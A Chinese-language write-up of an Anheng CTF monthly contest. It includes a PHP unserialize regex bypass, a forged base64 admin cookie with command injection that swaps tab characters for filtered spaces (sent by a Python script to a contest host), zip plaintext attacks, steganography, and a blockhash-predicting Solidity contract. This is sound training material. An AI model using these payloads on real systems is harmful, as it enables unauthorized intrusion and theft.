安恆X計劃12月月賽

ezweb

主要是序列化問題。沒有PHP環境,在線運行的。實例化對象以後修改一下file。而後echo輸出序列化的結果。不過下面有一個正則檢查。數字前加一個+,影響了正則的匹配,可是對於序列化的還原沒有影響。直接寫+不生效,因而對+進行URL編碼,就繞過了。php

<?php 
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  

$flag = new baby();
$flag->file = "index.php";
$flag = serialize($flag);

echo $flag;
echo unserialize($flag)
?>

拿到一個'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+號處理一下,直接不生效,須要URL編碼'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。html

而後不當心爆出來了代碼運行網站的目錄。python

ezweb2

瀏覽了一會,不知道網站哪有問題,最後看到cookie裏有一個user變量。此處必有蹊蹺。拉出來用base64解了一下,看到一個普通的用戶的字符串。而後掃到一個admin.php,提示我不是管理員。二者就對上了,改cookie從新刷新user=YWRtaW4=%3D%3D。看到了後臺,輸入一個密碼試試吧。結果發現post出去的表單,輸入的內容在cmd字段下。而後斷定這不是一個密碼,而是一個命令執行。而後用ls證明了想法。而後使用cat查看文件內容的時候出錯。當時有兩個想法,一個是空格還有一些字符被過濾了,另外一個是回顯或者命令長度有限制。先按照第一個想法來,fuzz一下什麼被過濾了。測出來幾個可用的字符,基本上印證了被過濾的想法。使用0x9h替代空格,而後就能夠順利執行命令。
最後的flag在根目錄下。web

import requests

#fuzz時使用這個循環,註釋下一循環。
#for i in range(1,128):

for i in range(9,10):
    url = "http://101.71.29.5:10000/admin.php"
    
    payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
    headers = {
        'origin': "http://101.71.29.5:10000",
        'upgrade-insecure-requests': "1",
        'content-type': "application/x-www-form-urlencoded",
        'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
        'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        'referer': "http://101.71.29.5:10000/admin.php",
        'accept-encoding': "gzip, deflate",
        'accept-language': "zh-CN,zh;q=0.9",
        'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
        'cache-control': "no-cache"
        }
    
    response = requests.request("POST", url, data=payload, headers=headers)
    #print(i,chr(i))
    #print(len(response.text))
    print(response.text)

misc1

爲作題還要涉及早期被公開的泄露數據,這是在教人學壞。拿python處理這些數據的時候換行沒處理對,因此跑字典的時候出了問題,沒成功解開。cookie

安恆的運營挺有意思的,求生欲很強,爲了給公衆號用戶保活,本身的比賽平臺不用,非要在公衆號上放hint。app

misc2 簽到

關注一個公衆號,文字遊戲。ide

misc3

壓縮包破解。同級目錄下有一個壓縮包內含的文件,明顯的明文攻擊。這種題就很煩。恰恰安恆很喜歡出。以前參加他們的比賽,給的一個壓縮包,只有7z沒毛病,其餘都解不出來。此次這個須要winrar壓縮,若是你的明文攻擊大於10分鐘,那麼就停下來,從新制做壓縮包或者換不一樣的版本。很煩。由於壓縮原本就是有損的,因此究竟會不會出問題,真的很差判斷。最後解出來的文檔有一個高考祕籍——53,要位移一下這個圖。post

我以爲下次能夠出一個這樣的腦洞,放一個3D的模型,移開沒有,在遮擋物的背面貼着或者穿模進去才能看到。區塊鏈

misc4

png圖片先改像素看一下再去看有沒有隱寫。高度拉長一看就有字符串,末尾大於兩個等號,應該是base32,解出來再拿括號裏的內容再作一個MD5散列。網站



區塊鏈

都說了是賭幣,協議也給了。有點坑的是,直接批量不產生效果,手動了20次才收到郵件。

pragma solidity ^0.4.23;

interface BetInterFace{
    function flip(bool _guess) public returns (bool success);
}

contract GetFlag{
    address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
    constructor() public {
         
    }
    function start2() public {
        bool isTrue=getResult();
        bet2(isTrue);
    }
    function getResult() private view returns(bool){
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
        
    }
    function bet2(bool result) private{
        bytes4 methodId = bytes4(keccak256("flip(bool)"));
        if(result){
            betAddress.call(methodId,uint256(1));
        }else{
            betAddress.call(methodId,uint256(0));
        }
    }
}
相關文章
相關標籤/搜索